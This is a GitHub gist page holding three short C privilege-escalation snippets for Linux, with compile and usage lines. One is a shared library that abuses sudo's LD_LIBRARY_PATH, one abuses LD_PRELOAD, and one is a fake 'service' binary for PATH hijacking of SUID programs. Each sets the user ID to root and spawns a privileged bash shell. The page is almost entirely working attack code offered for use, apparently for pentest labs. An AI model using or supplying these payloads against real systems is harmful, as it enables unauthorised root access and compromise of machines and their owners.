Skip to content

Instantly share code, notes, and snippets.

@wesleyit
Last active April 9, 2022 17:08
Show Gist options
  • Save wesleyit/88f0935d57977ecea161a2c9f09ea8ab to your computer and use it in GitHub Desktop.
Save wesleyit/88f0935d57977ecea161a2c9f09ea8ab to your computer and use it in GitHub Desktop.
A Hijack module to cheat LD_stuff
/*
Compile with gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
Use with sudo LD_LIBRARY_PATH=/tmp apache2
When compiling, find any dependency of target binary and compile with the same name
*/
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
/*
Compile with gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
Use with sudo LD_PRELOAD=/tmp/preload.so program-name-here
*/
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
// A simple service which can replace a service command being called without full path
// Compile with gcc -o service /home/user/tools/suid/service.c
int main() {
setuid(0);
system("/bin/bash -p");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment